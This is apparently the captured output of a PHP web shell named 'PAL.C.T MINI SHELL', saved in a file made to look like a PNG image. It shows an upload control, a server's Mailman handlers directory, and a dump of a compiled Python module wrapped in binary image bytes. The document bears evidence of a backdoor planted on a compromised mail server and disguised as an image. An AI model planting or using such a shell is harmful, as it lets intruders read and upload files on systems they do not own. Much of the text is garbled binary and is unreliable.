php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Handlers/
upload
files >> //usr/lib/mailman/Mailman/Handlers/AvoidDuplicates.pyo

Pc@sodZddklZlZddklZdZyeefWne	j
odZdZnXdZ
dS(	srIf the user wishes it, do not send duplicates of the same message.

This module keeps an in-memory dictionary of Message-ID: and recipient pairs.
If a message with an identical Message-ID: is about to be sent to someone who
has already received a copy, we either drop the message, add a duplicate
warning header, or pass it through, depending on the user's preferences.
i(tgetaddressest
formataddr(tmm_cfgs, iicCsV|d}|pdSh}|i|i|i|ig}x|D]}t||i<qMWh}xdD]}t|i|g}	|djo1x.|	D]"\}
}|
|f||i<qWnx2|	D]*\}
}|pqnt||i<qWqtWx|D]}||i=qW|pdSg}x|D]}|i|iot}
|i	|o |i
|tio
t
}
n|
o't|idh|<|i|q|i|io||i=qq@|i|q@W||d<|d=|o>tig}|iD]}|t|q+~|d<ndS(	Ntrecipsttotccs	resent-tos	resent-ccsadd-dup-headertCc(RRs	resent-tos	resent-cc(tGetListEmailtGetBouncesEmailt
GetOwnerEmailtGetRequestEmailtTruetlowerRtget_allthas_keytisMembertgetMemberOptionRtDontReceiveDuplicatestFalset
setdefaulttappendt
COMMASPACEtjointvaluesR(tmlisttmsgtmsgdataRtexplicit_recipst	listaddrstaddrtccaddrstheadertaddrstnamet	newrecipstrtsend_duplicatet_[1]ti((si/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/AvoidDuplicates.pytprocess&sZ



N(t__doc__temail.UtilsRRtMailmanRRRRt	NameErrorR'(((si/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/AvoidDuplicates.pyt<module>s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`